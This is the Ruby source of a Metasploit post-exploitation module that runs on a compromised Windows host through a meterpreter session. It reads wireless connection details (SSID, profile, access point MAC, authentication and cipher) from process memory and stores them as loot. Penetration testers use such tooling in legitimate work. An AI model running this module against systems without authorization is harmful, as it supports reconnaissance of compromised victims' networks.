metasploit-framework/modules/post/windows/wlan/wlan_current_connection.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Gather Wireless Current Connection Info',
			'Description'   => %q{
				This module gathers information about the current connection on each
				wireless lan interface on the target machine.
			},
			'License'       => MSF_LICENSE,
			'Author'        => ['TheLightCosine <thelightcosine[at]gmail.com>'],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))
	end

	def run
		#Opens memory access into the host process
		mypid = client.sys.process.getpid
		@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
		@wlanapi = client.railgun.wlanapi

		wlan_connections= "Wireless LAN Active Connections: \n"
		wlan_handle = open_handle()
		unless wlan_handle
			print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
			print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
			return
		end
		wlan_iflist = enum_interfaces(wlan_handle)

		wlan_iflist.each do |interface|
			connect_info = query_current_connection(wlan_handle, interface['guid'])
			guid = guid_to_string(interface['guid'])
			wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
			if (connect_info)
				wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
				wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
				wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
				wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
				wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
				wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
				wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
			else
				wlan_connection << "\tThis interface is not currently connected to a network\n"
			end
			print_good(wlan_connection)
			wlan_connections << wlan_connection
		end

		wlan_connections.gsub!(/\x00/,"")
		store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections")
		#close the Wlan API Handle
		closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
		if closehandle['return'] == 0
			print_status("WlanAPI Handle Closed Successfully")
		else
			print_error("There was an error closing the Handle")
		end
	end


	def open_handle
		begin
			wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
		rescue
			return nil
		end
		return wlhandle['phClientHandle']
	end

	def query_current_connection(wlan_handle, guid)
		connection={}
		conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil)
		#Grab the pointer to our data structure. We skip voer the Interface State since we already have it
		#We interpret the connection mode used first
		pointer = conn_info['ppData']
		pointer = (pointer + 4)
		mode = @host_process.memory.read(pointer,4)
		mode = mode.unpack("V")[0]
		case mode
			when 0
				connection['mode'] = "A profile is used to make the connection."
			when 1
				connection['mode'] = "A temporary profile is used to make the connection."
			when 2
				connection['mode'] = "Secure discovery is used to make the connection."
			when 3
				connection['mode'] = "Unsecure discovery is used to make the connection."
			when 4
				connection['mode'] = "connection initiated by wireless service automatically using a persistent profile."
			when 5
				connection['mode'] = "Invalid connection mode."
			else
				connection['state'] = "Unknown connection Mode."
		end

		#Grab the wirelessprofile name used in the connection
		pointer = (pointer+4)
		profile = @host_process.memory.read(pointer,512)
		connection['profile'] = profile.gsub(/\x00/,"")

		#Check the size of the SSID value. If we get nothing back, the interface is not currently connected
		#We return nil and deal with the results back in the calling function
		pointer = (pointer+512)
		len_ssid = @host_process.memory.read(pointer,4)
		unless len_ssid.unpack("V")[0]
			return nil
		end

		#Grabs the SSID of the BSS connected to
		pointer = (pointer + 4)
		ssid = @host_process.memory.read(pointer,32)
		connection['ssid'] = ssid.gsub(/\x00/,"")

		#Grabs what type of a BSS this is and itnerpretes it into human readable
		pointer = (pointer + 32)
		bsstype = @host_process.memory.read(pointer,4)
		bsstype = bsstype.unpack("V")[0]
		case bsstype
			when 1
				connection['type'] = "Infrastructure"
			when 2
				connection['type'] = "Independent"
			when 3
				connection['type'] = "Any"
			else
				connection['type'] = "Unknown BSS Type"
		end

		#Grabs the BSS MAC address
		pointer = (pointer + 4)
		bssid = @host_process.memory.read(pointer,6)
		bssid = bssid.unpack("H*")[0]
		bssid.insert(2,":")
		bssid.insert(5,":")
		bssid.insert(8,":")
		bssid.insert(11,":")
		bssid.insert(14,":")
		connection['bssid'] = bssid

		#Grabs the physical association type and interprets it into human readable
		pointer = (pointer + 8)
		phy_type = @host_process.memory.read(pointer,4)
		phy_type = phy_type.unpack("V")[0]
		case phy_type
			when 1
				connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)"
			when 2
				connection['physical'] = "Direct sequence spread spectrum (DSSS)"
			when 3
				connection['physical'] = "Infrared (IR) baseband"
			when 4
				connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)"
			when 5
				connection['physical'] = "High-rate DSSS (HRDSSS)"
			when 6
				connection['physical'] = "Extended rate PHY type"
			when 7
				connection['physical'] = "802.11n PHY type"
			else
				connection['physical'] = "Unknown Association Type"
		end

		#Grabs the signal strength value
		pointer = (pointer + 8)
		signal = @host_process.memory.read(pointer,4)
		connection['signal'] = signal.unpack("V")[0]

		#Grabs the recieve rate value
		pointer = (pointer + 4)
		rxrate = @host_process.memory.read(pointer,4)
		connection['rxrate'] = rxrate.unpack("V")[0]

		#Grabs the transmit rate value
		pointer = (pointer + 4)
		txrate = @host_process.memory.read(pointer,4)
		connection['txrate'] = txrate.unpack("V")[0]

		#Checks if security is enabled on this BSS
		pointer = (pointer + 4)
		security_enabled = @host_process.memory.read(pointer,4)
		if security_enabled.unpack("V")[0] == 1
			connection['security'] = "Yes"
		else
			connection['security'] = "No"
		end

		#Checks of 802.1x Authentication is used
		pointer = (pointer + 4)
		onex = @host_process.memory.read(pointer,4)
		if onex.unpack("V")[0] == 1
			connection['oneX'] = "Yes"
		else
			connection['oneX'] = "No"
		end

		#Determines wat Authentication Algorithm is being used
		pointer = (pointer + 4)
		algo = @host_process.memory.read(pointer,4)
		algo = algo.unpack("V")[0]
		case algo
			when 1
				connection['auth'] = "802.11 Open"
			when 2
				connection['auth'] = "802.11 Shared"
			when 3
				connection['auth'] = "WPA"
			when 4
				connection['auth'] = "WPA-PSK"
			when 5
				connection['auth'] = "WPA-None"
			when 6
				connection['auth'] = "RSNA"
			when 7
				connection['auth'] = "RSNA with PSK"
			else
				connection['auth'] = "Unknown Algorithm"
		end

		#Determines what Cipher is being used
		pointer = (pointer + 4)
		cipher = @host_process.memory.read(pointer,4)
		cipher = cipher.unpack("V")[0]
		case cipher
			when 0
				connection['cipher'] = "None"
			when 1
				connection['cipher'] = "WEP-40"
			when 2
				connection['cipher'] = "TKIP"
			when 4
				connection['cipher'] = "CCMP"
			when 5
				connection['cipher'] = "WEP-104"
			when 256
				connection['cipher'] = "Use Group Key"
			when 257
				connection['cipher'] = "WEP"
			else
				connection['cipher'] = "Unknown Cipher"
		end
		return connection
	end


	def enum_interfaces(wlan_handle)
		iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
		pointer= iflist['ppInterfaceList']

		numifs = @host_process.memory.read(pointer,4)
		numifs = numifs.unpack("V")[0]

		interfaces = []

		#Set the pointer ahead to the first element in the array
		pointer = (pointer + 8)
		(1..numifs).each do |i|

			interface = {}
			#Read the GUID (16 bytes)
			interface['guid'] = @host_process.memory.read(pointer,16)
			pointer = (pointer + 16)
			#Read the description(up to 512 bytes)
			interface['description'] = @host_process.memory.read(pointer,512)
			pointer = (pointer + 512)
			#Read the state of the interface (4 bytes)
			state = @host_process.memory.read(pointer,4)
			pointer = (pointer + 4)

			#Turn the state into human readable form
			state = state.unpack("V")[0]
			case state
				when 0
					interface['state'] = "The interface is not ready to operate."
				when 1
					interface['state'] = "The interface is connected to a network."
				when 2
					interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
				when 3
					interface['state'] = "The interface is disconnecting from the current network."
				when 4
					interface['state'] = "The interface is not connected to any network."
				when 5
					interface['state'] = "The interface is attempting to associate with a network."
				when 6
					interface['state'] = "Auto configuration is discovering the settings for the network."
				when 7
					interface['state'] = "The interface is in the process of authenticating."
				else
					interface['state'] = "Unknown State"
			end
			interfaces << interface
		end
		return interfaces
	end

	#Convert the GUID to human readable form
	def guid_to_string(guid)
		aguid = guid.unpack("H*")[0]
		sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
		sguid << "-" + aguid[10,2] +  aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" +  aguid[16,4]
		sguid << "-" + aguid[20,12] + "}"
		return sguid
	end

end